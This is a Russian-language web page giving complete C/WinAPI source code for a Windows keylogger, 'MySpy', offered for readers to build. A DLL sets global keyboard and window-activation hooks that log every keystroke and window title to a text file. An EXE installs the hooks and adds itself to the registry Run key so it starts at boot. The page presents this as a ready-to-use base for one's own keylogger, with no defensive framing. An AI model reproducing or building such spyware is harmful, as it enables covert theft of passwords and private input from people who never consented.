Кейлоггер для Windows "MySpy". Си, WinApi.

Родительская категория: x32
Категория: Исходники x32
Опубликовано 18 Январь 2015
Автор: HandyCat
Просмотров: 2563

Скачать бесплатный кейлоггер можно, но лучше написать его самому! Кейлоггер для Windows, написан на Win API. Используется перехват нажатия клавиш с помощью SetWindowsHookEx (WH_KEYBOARD,...). Соответственно создается исполняемый файл и библиотека dll. Кстати, таким образом писать  кейлоггер для Windows, с использованием dll, как ни странно, наиболее предпочтительно в настоящее время в связи с прекрасной совместимостью с Windows 7. Перехват клавиш без использования dll (WH_KEYBOARD_LL) вызывает у семерки непонимание. Приходится шаманить, колдовать, чтобы заставить кейлоггер для Windows работать, но это все-же более полезно и правильно, чем искать, где скачать бесплатный кейлоггер. Выход конечно же всегда найдется, но все же, если хотите написать нормальный кейлоггер для Windows, предпочтительно использовать SetWindowsHookEx (WH_KEYBOARD,...).

В указанном коде правильно и замечательно реализовано определение раскладки клавиатуры. Стоит заметить, что с целью однократного запуска приложения используется CreateMutex (). Код достаточно прост и очень неплох. Можно смело брать за основу собственного кейлоггера для Windows. Как и где  скачать бесплатный кейлоггер пускай думают другие!

Исходник DLL:

//Hook.cpp : DLL-ка
//Кейлоггер для windows

#include < windows.h >
#include < stdio.h >

#pragma data_seg(".hdata") // секция в памяти общая для всех процессов
HINSTANCE hi=NULL; // эта переменная может изменяться любым поетому 
//сдесь не должно быть ничего лишнего
#pragma data_seg() // конец секции
#pragma comment(linker, "/section:.hdata,rws")//даем права этой секции

#ifdef __cplusplus 
#define EXPORT extern "C" __declspec (dllexport) 
#else 
#define EXPORT __declspec (dllexport) 
#endif 

EXPORT BOOL SetKeyboardHook(void); // объявляем экспортируемую функцию

// а эти будут у всех свои
HANDLE hFile=NULL; // !!!!! хэндл файла для каждого процесса 
//должен быть свой !!!!!
HHOOK hKeyHook=NULL;
HHOOK hCBTHook=NULL;
//кейлоггер для windows
void WriteTime(void) // записывает дату и время
{
    DWORD NOfBytes;
    OVERLAPPED ovlp;
    DWORD ffsze;
    SYSTEMTIME time;
    char buffer[30];

    GetLocalTime(&time); // получаем дату и время
// форматируем это в String
    sprintf(buffer,"\r\n%02d.%02d.%d %02d:%02d",time.wDay,
                    time.wMonth,time.wYear,time.wHour,time.wMinute);

    ffsze=GetFileSize(hFile,NULL);
    ovlp.OffsetHigh=0;
    ovlp.hEvent=NULL;
    ovlp.Offset=ffsze;

    WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
	//пишем в файл
}
//кейлоггер для windows
void WriteTitle(HWND hWnd) // записывает имя окна
{
    WriteTime(); // сначала пишем время
    DWORD NOfBytes;
    OVERLAPPED ovlp;
    DWORD ffsze;
    char buffer[250];
    char title[256];
    GetWindowText(hWnd,title,100); // получаем имя
    sprintf(buffer," %s\r\n",title);
    ffsze=GetFileSize(hFile,NULL);
    ovlp.OffsetHigh=0;
    ovlp.hEvent=NULL;
    ovlp.Offset=ffsze;

    WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
}

short GetSymbolFromVK(WPARAM wParam)
//кейлоггер для windows
//переводит код нажатой клавиши в текст
{
    BYTE btKeyState[256];
    HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
    WORD Symbol; 
    GetKeyboardState(btKeyState); 
    if((ToAsciiEx(wParam, MapVirtualKey(wParam, 0), btKeyState,
	&Symbol, 0, hklLayout) == 1) && // сам перевод
    GetKeyState(VK_CONTROL) >= 0 && GetKeyState(VK_MENU) >= 0) 
	// проверяем CTRL и ALT
        return Symbol;
     return -1;
}
//кейлоггер для windows
void WriteSymbol(WPARAM wParam) // записывает нажатие в файл
{
    DWORD NOfBytes;
    OVERLAPPED ovlp;
    DWORD ffsze;
    WORD wc;

    ffsze=GetFileSize(hFile,NULL);
    ovlp.OffsetHigh=0;
    ovlp.hEvent=NULL;
    ovlp.Offset=ffsze;

    if(wParam==VK_RETURN) 
        WriteFile(hFile,"\r\n",2,&NOfBytes,&ovlp);

    else if((wc=GetSymbolFromVK(wParam))!=-1) 
	// переводим нажатие в текст
        if(iswprint(wc)) // проверяем или знак текстовой
            WriteFile(hFile,&wc,1,&NOfBytes,&ovlp);
}
//кейлоггер для windows
BOOL APIENTRY DllMain(HINSTANCE hModule,
DWORD ul_reason_for_call,LPVOID lpReserved)
{
    switch(ul_reason_for_call)
     {
        case DLL_PROCESS_ATTACH: 
// вызывается каждый раз когда новый процесс грузит DLL в свою память
        {
            if(!hi) //запоминаем запустивший хэндл(наша DLL) толко 
			//первый раз, чтобы он небыл переписан на новый
                hi=hModule;
            char pfad[MAX_PATH]; // путь к файлу должен быть 
			//обязательно полный, иначе каждый процесс
            // будет создавать новый в своем каталоге
            GetModuleFileName(hi,pfad,MAX_PATH); // путь к нашей ДЛЛ
            *(strrchr(pfad,'\\')+1)='\0'; // выкидываем ее имя
            strcat(pfad,"KeySpy.txt"); // вставляем имя файла
         // каждый процесс должен открыть для себя файл отдельно
            if((hFile=CreateFile(pfad,GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_WRITE|FILE_SHARE_READ,NULL,
        OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE)
                    return FALSE;
            break;
        }

         case DLL_PROCESS_DETACH:
        { // Снимать хуки и закрывать файл необязательно 
         // Система делает это автоматически
         // UnhookWindowsHookEx(hKeyHook);
         // UnhookWindowsHookEx(hCBTHook);
         // CloseHandle(hFile);
            break;
        }
        default:
            break;
    }
    return TRUE ; 
}
//кейлоггер для windows
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) 
// вызывается при нажатии или отпускании клавиши
{
    if (nCode)
        return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
    if(lParam>=0) // нам нужно только нажатие
        WriteSymbol(wParam);
    return CallNextHookEx(hKeyHook,nCode,wParam,lParam);     
	// обработали передаем дальше
}
//кейлоггер для windows
LRESULT WINAPI CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode==HCBT_ACTIVATE) 
// вызывается перед тем как система собирается 
//активировать какоето окно или открыть новое
            WriteTitle((HWND)wParam); // wParam новый HWND
    return CallNextHookEx(hCBTHook, nCode, wParam, lParam); 
	// обработали передаем дальше
}
//кейлоггер для windows
BOOL SetKeyboardHook(void) 
// эту функцию надо вызывать из приложения для создания ловушек
{
    hKeyHook=SetWindowsHookEx(WH_KEYBOARD,&KeyboardProc,hi,0);
    hCBTHook=SetWindowsHookEx(WH_CBT ,&CBTProc,hi,0);
    return hKeyHook && hCBTHook;
}
//конец DLL

 Исходник EXE:

//KeySpy.cpp 
// 

#include < windows.h > 

#ifdef __cplusplus
#define IMPORT extern "C" __declspec (dllimport) 
#else
#define IMPORT __declspec (dllimport)
#endif

IMPORT BOOL SetKeyboardHook(void);
// функция импортируемая из DLL

BOOL Mutex(LPSTR szName)
// проверяет запущена ли уже копия
{
    HANDLE hMutex = CreateMutex (NULL, TRUE, szName);
    if (GetLastError() == ERROR_ALREADY_EXISTS)    
    {
        CloseHandle(hMutex);
        return FALSE;     // уже запущена
    }
    return TRUE; // все путем
}

void Registry(void) // вписываем в автозапуск
{
    HKEY hKey = HKEY_LOCAL_MACHINE; 
    LPCTSTR lpSubKey ="Software\\Microsoft
	\\Windows\\CurrentVersion\\Run"; 
    DWORD dwType = REG_SZ;
    HKEY key;
    RegOpenKeyEx(hKey,lpSubKey,0,KEY_WRITE,&key);
    char pfad[MAX_PATH];
    GetModuleFileName(NULL,pfad,MAX_PATH);
    RegSetValueEx(key,"KeySpy",0,REG_SZ,
	(LPBYTE)pfad,strlen(pfad));
}
//кейлоггер для windows
int APIENTRY WinMain(HINSTANCE hInstance,
            HINSTANCE hPrevInstance,
            LPSTR lpCmdLine,
            int nCmdShow )
{
    if(!Mutex("MySpy"))
        return 1; // одна копия уже есть закрываемся

    Registry();

    if(!SetKeyboardHook()) // устанавливаем хуки
        return 1; // не получилось закрываемся

// а это бесконечный цикл
    MSG msg;
    while (GetMessage (&msg, NULL, 0, 0))
    {
         TranslateMessage (&msg);
         DispatchMessage (&msg);
    }
    return 0;
}
//конец EXE

Обязательно вставляем в проект hook.lib и переносим hook.dll в одну директорию с MySpy.exe. Кейлоггер для Windows готов!  Марочить Гуглу голову, где же скачать бесплатный кейлоггер не нужно!

Шаблоны joomla скачать здесь